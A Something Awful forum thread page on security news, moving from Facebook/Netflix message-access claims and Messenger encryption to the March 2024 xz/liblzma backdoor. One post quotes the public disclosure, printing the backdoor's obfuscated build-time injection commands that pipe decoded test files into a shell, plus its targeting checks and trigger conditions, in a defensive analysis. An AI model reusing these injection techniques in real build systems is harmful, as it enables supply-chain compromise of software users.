secfuck v18.509 issuance of thread title with short validity period. update: we will not be revoking - The Something Awful Forums

Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.

The Something Awful Forums > Discussion > Serious Hardware/Software Crap > YOSPOS > secfuck v18.509 issuance of thread title with short validity period. update: we will not be revoking

mystes: May 31, 2006

Volmarias posted:

What the actual gently caress

It's just a claim being made by the plaintiffs in the class action lawsuit. I wouldn't necessarily assume it's true, although it's facebook so who knows.

I think the lawyers for the plaintiffs in a class action like this don't really have to give a poo poo if they're understanding the documents they get in discovery correctly or not though. They can just fish for stuff that looks bad out of context and then apply pressure by going to the media like what is happening here.

mystes fucked around with this message at 23:38 on Mar 28, 2024

# ? Mar 28, 2024 23:35

Adbot: ADBOT LOVES YOU

# ? Apr 27, 2024 10:48

sb hermit: Dec 13, 2016

Subjunctive posted:

is that read access or write access? the inbox API I remember was just for sending messages to people directly (vs the messenger-for-business-pages stuff), which is why it was called that, but it might have changed

no idea

well, if there�s any meat to these claims then we�ll see Facebook�s rebuttal sooner rather than later

# ? Mar 29, 2024 00:48

Subjunctive: Sep 12, 2006; ✨sparkle and shine✨

only if they decide that it�s material to their defense. they�ll respond on as few of the claims as they need to in order to get the suit not certified, I suspect

# ? Mar 29, 2024 00:53

mystes: May 31, 2006

Based on what some facebook employees are saying on hn, the inbox api thing is the same as what is discussed here https://about.fb.com/news/2018/12/facebooks-messaging-partnerships/ and was so that people could choose to grant netflix permission to send messages so that they could specifically choose to send messages about shows on netflix from within the netflix app

I guess once netflix had that permission they could do anything theoretically but it's the same as when you choose to give a third party app full access to your google drive account or something

# ? Mar 29, 2024 03:36

sb hermit: Dec 13, 2016

can you imagine having a friends list in netflix

except for a pandemic-style remote watch party function, I can�t see a single reason why I would ever want anyone to be on a netflix enabled friends list. I don�t want people know when I�m watching, what I�ve watched, what my opinions are on what I watched, or what I plan on watching. Just ask me like a human being and don�t stalk me

I guess this is why I�m never logged into facebook or linked in

# ? Mar 29, 2024 07:15

Soricidus: Oct 21, 2010; freedom-hating statist shill

sb hermit posted:

https://arstechnica.com/gadgets/2024/03/netflix-ad-spend-led-to-facebook-dm-access-end-of-facebook-streaming-biz-lawsuit/

facebook letting netflix read private DMs for show recs

and people wonder why I don�t want to use whatsapp for anything important

whatsapp is actually encrypted tho, and fb seem to be super scared of loving with it because they haven�t even tried to put ads in it yet.

facebook messages have never even pretended to be secure.

# ? Mar 29, 2024 10:49

Subjunctive: Sep 12, 2006; ✨sparkle and shine✨

Soricidus posted:

facebook messages have never even pretended to be secure.

FB has started to roll out E2EE for Messenger as default now, and it�s been an available option since I think 2015

# ? Mar 29, 2024 12:31

Wiggly Wayne DDS: Sep 11, 2010

Subjunctive posted:

FB has started to roll out E2EE for Messenger as default now, and it�s been an available option since I think 2015

yea we all talked about it itt as it was getting considered for rollout too

mystes posted:

Based on what some facebook employees are saying on hn

lol, we have multiple people itt that are more reliable sources than that. we talked about all of this in the threads as it happened

# ? Mar 29, 2024 12:53

Pile Of Garbage: May 28, 2007

Soricidus posted:

whatsapp is actually encrypted tho, and fb seem to be super scared of loving with it because they haven�t even tried to put ads in it yet.

technically if E2EE is configured properly they shouldn't be able to gently caress with it even if they wanted to

# ? Mar 29, 2024 13:00

Soricidus: Oct 21, 2010; freedom-hating statist shill

Pile Of Garbage posted:

technically if E2EE is configured properly they shouldn't be able to gently caress with it even if they wanted to

they control the software at both of the Es, of course they could gently caress with it if they chose to.

I remain somewhat surprised that they apparently haven�t tried to do this yet. the reputational damage would be severe but that doesn�t usually stop capitalism

Subjunctive posted:

FB has started to roll out E2EE for Messenger as default now, and it�s been an available option since I think 2015

oh cool, I knew they�d discussed it a bunch but I thought it always got put off, glad they saw sense

# ? Mar 29, 2024 13:34

Subjunctive: Sep 12, 2006; ✨sparkle and shine✨

Soricidus posted:

oh cool, I knew they�d discussed it a bunch but I thought it always got put off, glad they saw sense

the UX stuff is still pretty hard, since they want people to be able to keep using the web interfaces, and they have to go back and encrypt past stuff and get the keys in the right place to do that securely

it�s bumpy, lots of people being asked for a PIN they don�t understand so far

# ? Mar 29, 2024 14:47

mystes: May 31, 2006

Wiggly Wayne DDS posted:

yea we all talked about it itt as it was getting considered for rollout too

lol, we have multiple people itt that are more reliable sources than that. we talked about all of this in the threads as it happened

If you work for Facebook and you're saying that's wrong feel free to provide more details

# ? Mar 29, 2024 14:52

zero knowledge: Apr 27, 2008

FB messenger just did a really nice talk about the E2EE rollout at Real World Crypto. https://iacr.org/submit/files/slides/2024/rwc/rwc2024/71/slides.pdf

IACR should have the video up any century now

# ? Mar 29, 2024 15:05

Rufus Ping: Dec 27, 2006; I'm a Friend of Rodney Nano

Ross Anderson's died apparently

# ? Mar 29, 2024 16:13

JAnon: Jul 16, 2023

Rufus Ping posted:

Ross Anderson's died apparently

hmm, which one, man?

# ? Mar 29, 2024 17:05

Midjack: Dec 24, 2007

JAnon posted:

hmm, which one, man?

j, the one from the uk who wrote security engineering.

# ? Mar 29, 2024 17:11

champagne posting: Apr 5, 2006; YOU ARE A BRAIN
IN A BUNKER

Soricidus posted:

whatsapp is actually encrypted tho, and fb seem to be super scared of loving with it because they haven�t even tried to put ads in it yet.

facebook messages have never even pretended to be secure.

kinda weird they haven't, I mean they'd have to be non-targeted ads but ads nonetheless

# ? Mar 29, 2024 17:17

Carbon dioxide: Oct 9, 2012

Just in:

https://www.openwall.com/lists/oss-security/2024/03/29/4

The upstream xz repository and the xz tarballs have been backdoored.

# ? Mar 29, 2024 17:22

Midjack: Dec 24, 2007

Carbon dioxide posted:

Just in:

https://www.openwall.com/lists/oss-security/2024/03/29/4

The upstream xz repository and the xz tarballs have been backdoored.

:rip:

# ? Mar 29, 2024 17:28

Captain Foo: May 11, 2004; we vibin'
we slidin'
we breathin'
we dyin'

Carbon dioxide posted:

Just in:

https://www.openwall.com/lists/oss-security/2024/03/29/4

The upstream xz repository and the xz tarballs have been backdoored.

yee fuckin haw

# ? Mar 29, 2024 17:30

mystes: May 31, 2006

Carbon dioxide posted:

Just in:

https://www.openwall.com/lists/oss-security/2024/03/29/4

The upstream xz repository and the xz tarballs have been backdoored.

See? That's why I've always been telling people that if you care about security you'll just blindly install binaries rather than auditing the source code to see if it's safe

# ? Mar 29, 2024 17:32

JAnon: Jul 16, 2023

Midjack posted:

j, the one from the uk who wrote security engineering.

oh drat. sorry for your loss :smith:

:smith:

# ? Mar 29, 2024 17:33

Wiggly Wayne DDS: Sep 11, 2010

Carbon dioxide posted:

Just in:

https://www.openwall.com/lists/oss-security/2024/03/29/4

The upstream xz repository and the xz tarballs have been backdoored.

drat that's a really nice method of obfuscation, only got noticed as it affected runtime significantly

# ? Mar 29, 2024 17:35

Carbon dioxide: Oct 9, 2012

TO CHECK IF YOUR DEVICES MAY BE AFFECTED

The problem is in liblzma, a library used by xz.

Run xz --version
If it shows liblzma version 5.6.0 or 5.6.1 that's the ones with the backdoor.
My understanding right now is that you ALSO need ssh server (the sshd binary) for it to be abused.

This version got pushed to Debian/testing, over there they just released a rollback of liblzma to a version without the backdoor, called 5.6.1+really5.4.5-1. That weird name causes apt to see it as a higher version so it'll automatically update.

I guess for other distros and systems, updates will also come available soon.

# ? Mar 29, 2024 17:41

post hole digger: Mar 21, 2011

Carbon dioxide posted:

Just in:

https://www.openwall.com/lists/oss-security/2024/03/29/4

The upstream xz repository and the xz tarballs have been backdoored.

why does this poo poo always happen on fridays lol

# ? Mar 29, 2024 17:42

post hole digger: Mar 21, 2011

Carbon dioxide posted:

TO CHECK IF YOUR DEVICES MAY BE AFFECTED

The problem is in liblzma, a library used by xz.

Run xz --version
If it shows liblzma version 5.6.0 or 5.6.1 that's the ones with the backdoor.
My understanding right now is that you ALSO need ssh server (the sshd binary) for it to be abused.

This version got pushed to Debian/testing, over there they just released a rollback of liblzma to a version without the backdoor, called 5.6.1+really5.4.5-1. That weird name causes apt to see it as a higher version so it'll automatically update.

I guess for other distros and systems, updates will also come available soon.

being on ancient rear end centos 7 until the bitter end stays winning :smug:

:smug:

# ? Mar 29, 2024 17:43

Truga: May 4, 2014; Lipstick Apathy

my debian gamebox got patched this morning, thankfully i'm not insane enough to run non-stable poo poo for real things

good to have a headsup when i inevitably see broken boxes in the future from people who do tho

# ? Mar 29, 2024 17:49

Carbon dioxide: Oct 9, 2012

Also note, there's a detect script attached to that message in the mailing list. It does basically the same as my instructions except it checks specifically which version of liblzma is used by sshd. If for some weird reason you have a different version of the lib installed for xz than you have for sshd, my detection would not work, but the script would.

# ? Mar 29, 2024 17:53

Truga: May 4, 2014; Lipstick Apathy

ssh doesn't depend on lzma, but systemd does and systemd handles login now :v:

:v:

e: i only mention this because there'll be a bunch of people moaning about systemd again lol

Truga fucked around with this message at 18:00 on Mar 29, 2024

# ? Mar 29, 2024 17:57

flakeloaf: Feb 26, 2003; Still better than android clock

lzma tarballs

post hole digger posted:

why does this poo poo always happen on fridays lol

sounds like a tuesday problem

# ? Mar 29, 2024 18:05

Carbon dioxide: Oct 9, 2012

https://news.ycombinator.com/item?id=39866275

orange site posted:

Very annoying - the apparent author of the backdoor was in communication with me over several weeks trying to get xz 5.6.x added to Fedora 40 & 41 because of it's "great new features". We even worked with him to fix the valgrind issue (which it turns out now was caused by the backdoor he had added). We had to race last night to fix the problem after an inadvertent break of the embargo.

He has been part of the xz project for 2 years, adding all sorts of binary test files, and to be honest with this level of sophistication I would be suspicious of even older versions of xz until proven otherwise.

Fedora also affected: https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users

# ? Mar 29, 2024 18:09

Clark Nova: Jul 18, 2004

lol homebrew got got

Upgrading xz
5.6.1 -> 5.4.6

# ? Mar 29, 2024 18:13

Truga: May 4, 2014; Lipstick Apathy

on debian testing it's liblzma5:amd64 5.6.1+really5.4.5-1 lmao

# ? Mar 29, 2024 18:15

haveblue: Aug 15, 2005; Toilet Rascal

flakeloaf posted:

lzma tarballs

# ? Mar 29, 2024 18:41

FlapYoJacks: Feb 12, 2009

Pretty colors for https://www.openwall.com/lists/oss-security/2024/03/29/4:

quote:

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

This script is executed and, if some preconditions match, modifies
$builddir/src/liblzma/Makefile to contain
C code:
am__test = bad-3-corrupt_lzma2.xz
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
which ends up as
Bash code:
...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 \-_" " 	_\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
Leaving out the "| bash" that produces
Bash code:
####Hello####
#&#65533;&#65533;Z&#65533;.hj&#65533;
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
After de-obfuscation, this leads to the attached injected.txt.

== Compromised Repository ==

The files containing the bulk of the exploit are in an obfuscated form in
tests/files/bad-3-corrupt_lzma2.xz
tests/files/good-large_compressed.lzma
committed upstream. They were initially added in
https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

Note that the files were not even used for any "tests" in 5.6.0.

Subsequently the injected code (more about that below) caused valgrind errors
and crashes in some configurations, due the stack layout differing from what
the backdoor was expecting. These issues were attempted to be worked around
in 5.6.1:

https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92

For which the exploit code was then adjusted:
https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89

Given the activity over several weeks, the committer is either directly
involved or there was some quite severe compromise of their
system. Unfortunately the latter looks like the less likely explanation, given
they communicated on various lists about the "fixes" mentioned above.

Florian Weimer first extracted the injected code in isolation, also attached,
liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!

== Affected Systems ==

The attached de-obfuscated script is invoked first after configure, where it
decides whether to modify the build process to inject the code.

These conditions include targeting only x86-64 linux:
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

Building with gcc and the gnu linker
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0

Running as part of a debian or RPM package build:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

Particularly the latter is likely aimed at making it harder to reproduce the
issue for investigators.

Due to the working of the injected code (see below), it is likely the backdoor
can only work on glibc based systems.

Luckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux
distributions, and where they have, mostly in pre-release versions.

== Observing Impact on openssh server ==

With the backdoored liblzma installed, logins via ssh become a lot slower.

time ssh nonexistant@...alhost

before:
nonexistant@...alhost: Permission denied (publickey).

before:
real 0m0.299s
user 0m0.202s
sys 0m0.006s

after:
nonexistant@...alhost: Permission denied (publickey).

real 0m0.807s
user 0m0.202s
sys 0m0.006s

openssh does not directly use liblzma. However debian and several other
distributions patch openssh to support systemd notification, and libsystemd
does depend on lzma.

Initially starting sshd outside of systemd did not show the slowdown, despite
the backdoor briefly getting invoked. This appears to be part of some
countermeasures to make analysis harder.

Observed requirements for the exploit:
a) TERM environment variable is not set
b) argv[0] needs to be /usr/sbin/sshd
c) LD_DEBUG, LD_PROFILE are not set
d) LANG needs to be set
e) Some debugging environments, like rr, appear to be detected. Plain gdb
appears to be detected in some situations, but not others

To reproduce outside of systemd, the server can be started with a clear
environment, setting only the required variable:

env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D

In fact, openssh does not need to be started as a server to observe the
slowdown:

slow:
env -i LANG=C /usr/sbin/sshd -h

(about 0.5s on my older system)

fast:
env -i LANG=C TERM=foo /usr/sbin/sshd -h
env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
...

(about 0.01s on the same system)

It's possible that argv[0] other /usr/sbin/sshd also would have effect - there
are obviously lots of servers linking to libsystemd.

== Analyzing the injected code ==

I am *not* a security researcher, nor a reverse engineer. There's lots of
stuff I have not analyzed and most of what I observed is purely from
observation rather than exhaustively analyzing the backdoor code.

To analyze I primarily used "perf record -e intel_pt//ub" to observe where
execution diverges between the backdoor being active and not. Then also gdb,
setting breakpoints before the divergence.

The backdoor initially intercepts execution by replacing the ifunc resolvers
crc32_resolve(), crc64_resolve() with different code, which calls
_get_cpuid(), injected into the code (which previously would just be static
inline functions). In xz 5.6.1 the backdoor was further obfuscated, removing
symbol names.

These functions get resolved during startup, because sshd is built with
-Wl,-z,now, leading to all symbols being resolved early. If started with
LD_BIND_NOT=1 the backdoor does not appear to work.

Below crc32_resolve() _get_cpuid() does not do much, it just sees that a
'completed' variable is 0 and increments it, returning the normal cpuid result
(via a new _cpuid()). It gets to be more interesting during crc64_resolve().

In the second invocation crc64_resolve() appears to find various information,
like data from the dynamic linker, program arguments and environment. Then it
perform various environment checks, including those above. There are other
checks I have not fully traced.

If the above decides to continue, the code appears to be parsing the symbol
tables in memory. This is the quite slow step that made me look into the issue.

Notably liblzma's symbols are resolved before many of the other libraries,
including the symbols in the main sshd binary. This is important because
symbols are resolved, the GOT gets remapped read-only thanks to -Wl,-z,relro.

To be able to resolve symbols in libraries that have not yet loaded, the
backdoor installs an audit hook into the dynamic linker, which can be observed
with gdb using
watch _rtld_global_ro._dl_naudit
It looks like the audit hook is only installed for the main binary.

That hook gets called, from _dl_audit_symbind, for numerous symbols in the
main binary. It appears to wait for "RSA_public_decrypt@....plt" to be
resolved. When called for that symbol, the backdoor changes the value of
RSA_public_decrypt@....plt to point to its own code. It does not do this via
the audit hook mechanism, but outside of it.

For reasons I do not yet understand, it does change sym.st_value *and* the
return value of from the audit hook to a different value, which leads
_dl_audit_symbind() to do nothing - why change anything at all then?

After that the audit hook is uninstalled again.

It is possible to change the got.plt contents at this stage because it has not
(and can't yet) been remapped to be read-only.

I suspect there might be further changes performed at this stage.

== Impact on sshd ==

The prior section explains that RSA_public_decrypt@....plt was redirected to
point into the backdoor code. The trace I was analyzing indeed shows that
during a pubkey login the exploit code is invoked:

sshd 1736357 [010] 714318.734008: 1 branches:uH: 5555555ded8c ssh_rsa_verify+0x49c (/usr/sbin/sshd) => 5555555612d0 RSA_public_decrypt@...+0x0 (/usr/sbin/sshd)

The backdoor then calls back into libcrypto, presumably to perform normal authentication

sshd 1736357 [010] 714318.734009: 1 branches:uH: 7ffff7c137cd [unknown] (/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.0) => 7ffff792a2b0 RSA_get0_key+0x0 (/usr/lib/x86_64-linux-gnu/libcrypto.so.3)

I have not yet analyzed precisely what is being checked for in the injected
code, to allow unauthorized access. Since this is running in a
pre-authentication context, it seems likely to allow some form of access or
other form of remote code execution.

I'd upgrade any potentially vulnerable system ASAP.

FlapYoJacks fucked around with this message at 18:53 on Mar 29, 2024

# ? Mar 29, 2024 18:49

Wiggly Wayne DDS: Sep 11, 2010

yeah that was in the first link and what we were talking about

# ? Mar 29, 2024 18:52

Raymond T. Racing: Jun 11, 2019

ok pretend I'm an idiot

what exactly is the downstream impact here? compromising sshd for the ability to log in without being authorized?

# ? Mar 29, 2024 18:55

sb hermit: Dec 13, 2016

post hole digger posted:

being on ancient rear end centos 7 until the bitter end stays winning

:hfive:

# ? Mar 29, 2024 19:00

Shame Boy: Mar 2, 2010

post hole digger posted:

being on ancient rear end centos 7 until the bitter end stays winning

# ? Mar 29, 2024 19:01

Adbot: ADBOT LOVES YOU

# ? Apr 27, 2024 10:48

Carbon dioxide: Oct 9, 2012

https://xeiaso.net/notes/2024/xz-vuln/

# ? Mar 29, 2024 19:02

1
2
3
4
5

The Something Awful Forums > Discussion > Serious Hardware/Software Crap > YOSPOS > secfuck v18.509 issuance of thread title with short validity period. update: we will not be revoking

Powered by: vBulletin Version 2.2.9 (SABB-v2.24.04)
Copyright ©2000, 2001, Jelsoft Enterprises Limited.
Copyright ©2024, Jeffrey of YOSPOS